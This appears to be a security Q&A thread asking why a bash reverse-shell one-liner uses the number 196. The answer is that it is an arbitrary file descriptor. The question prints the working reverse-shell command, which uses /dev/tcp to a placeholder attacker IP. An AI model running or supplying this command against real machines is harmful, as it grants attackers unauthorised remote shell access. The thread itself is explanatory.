5

I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "196"?

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

This code was taken from here.

galoget
  • 1,414
  • 1
  • 9
  • 15
LazyTrout17
  • 153
  • 1
  • 5

1 Answers1

4

Can someone please explain to me the significance of the number "196"?

196 is a randomly chosen number for a file descriptor that you're opening for reading from and writing to via exec. You can replace it by any number > 2.

Arminius
  • 43,922
  • 13
  • 140
  • 136
  • Okay, I thought I understood this but I don't think I do. Can you please explain the entire statement further? – LazyTrout17 Aug 03 '17 at 05:21
  • It's all here: https://en.wikipedia.org/wiki/File_descriptor In this case it's an ID that you use to send stuff of the network. – Elias Aug 03 '17 at 08:36
  • 1
    Here is a good explanation on file descriptors https://stackoverflow.com/a/5256705/3628290 – LazyTrout17 Aug 08 '17 at 14:49